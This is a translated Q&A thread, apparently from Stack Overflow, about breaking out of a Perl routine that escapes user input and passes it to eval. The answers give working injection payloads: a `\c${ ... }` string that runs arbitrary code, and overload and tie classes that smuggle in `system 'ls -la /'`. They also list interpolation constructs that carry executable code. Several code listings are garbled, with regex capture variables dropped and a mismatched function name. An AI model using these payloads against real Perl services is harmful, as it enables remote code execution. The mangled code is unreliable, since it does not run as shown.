Perl越狱

Perl jail escape

给定以下 Perl 代码,如果他们控制 $foo,如何执行代码?

sub Parse($)
{
    my $dataPt = shift;
    my (@toks, $tok, $more);
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ( eq '(') {       # start of list
            $tok = Parse($dataPt);
        } elsif ( eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ( eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\+)$/ and length() & 0x01;
                print("here\n");
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\(.)|([$\@]|\$)}{'\'.( || )}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ?  : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

$foo = '(test(foo "bar"))';
$ref = $foo;
ParseAnt $ref;

我相信有一种方法可以强制解析函数在 $tok 变量被 eval 处理之前包含一个未转义的双引号,但我没有成功。

我无法提供更多信息,因为此代码片段已用于生产。


编辑

由于对问题的(善意的)更改碰巧使早期答案无效,我添加此注释以及原始版本是为了 reader 的方便(什么无论如何都可以在修订中看到)---

本题原版:

给定以下 Perl 代码,如果他们控制 $str,如何执行代码?

my $str = "malicious payload";
        
die if $str =~ /"/;
$str =~ s{\(.)|([$\@]|\$)}{'\'.( || )}sge;
eval qq{"$str"};

你可以利用 \c 吃掉插入的转义字符。

\c${ print qq{0wn3d\n}; \'' }

关键代码是

$str =~ s{\(.)|([$\@]|\$)}{'\'.( || )}sge;

这个答案集中于此,因为这是最初提供的所有内容。


有两种注入代码的方式:

  • 关闭字符串文字。

    这将需要输入中的文字 ",或者由验证器生成。

  • 使用允许嵌入代码的结构。

    这些是:

    • $BLOCK
    • @BLOCK
    • $NAME[ EXPR ]$NAME->[ EXPR ]$BLOCK[ EXPR ]$$NAME[ EXPR ]
    • @NAME[ EXPR ]$NAME->@[ EXPR ]@BLOCK[ EXPR ]@$NAME[ EXPR ]
    • $NAME{ EXPR }$NAME->{ EXPR }$BLOCK{ EXPR }$$NAME{ EXPR }
    • @NAME{ EXPR }$NAME->@{ EXPR }@BLOCK{ EXPR }@$NAME{ EXPR }

    EXPRBLOCK 都可以包含可执行代码。

    有多种方法可以将这些序列变成一个字符串。

    • 欺骗验证者认为某些东西已经逃脱了。
    • 导致转义被当作其他东西处理。
    • 欺骗验证器转义已经转义序列的内容。
    • 通过删除中间的字符。
    • 以某种方式利用 $$$\

该片段的目的是像 Perl 那样处理 \ 转义。[1] 我们可以利用 \c 吃掉一个转义字符. \c 吃掉下一个字符,所以我们可以在每个验证器尝试转义 $.

之前使用 $
\c${ print qq{0wn3d\n}; \'' }

变成

"\c${ print qq{0wn3d\n}; \'' }"

这意味着

do { print qq{0wn3d\n}; chr(0x1C) }

感谢@bananabr 找到了 \c.


  1. 这本身肯定是一个错误。为您的语言的转义编写解析器。
{   package Jail::Breaker;
    use overload
        '""' => sub {
            my ($self) = @_;
            if ($self->[0]++ < 1) {
                return $self->[1]
            } else {
                return qq(";system '$self->[1]';")
            }
        },
        fallback => 1;
    sub new {
        my ($class, $string) = @_;
        bless [0, $string], $class
    }
}

my $str = 'Jail::Breaker'->new('ls -la /');
die 'invalid' if $str =~ /"/;
$str =~ s{\(.)|([$\@]|\$)}{'\'.( || )}sge;
eval qq{"$str"};

或者,类似地,

{   package Jail::Breaker;
    use Tie::Scalar;
    use parent -norequire => 'Tie::StdScalar';
    my $fetched;
    sub FETCH {
        my ($self) = @_;
        if ($fetched++) {
            return qq(";system'$$self';")
        } else {
            return $$self
        }
    }
}
tie my $str, 'Jail::Breaker', 'ls -la /';
...

这两种解决方案都使用一个对象,第一次读取时 returns 其他内容,稍后读取时使用“evil”字符串。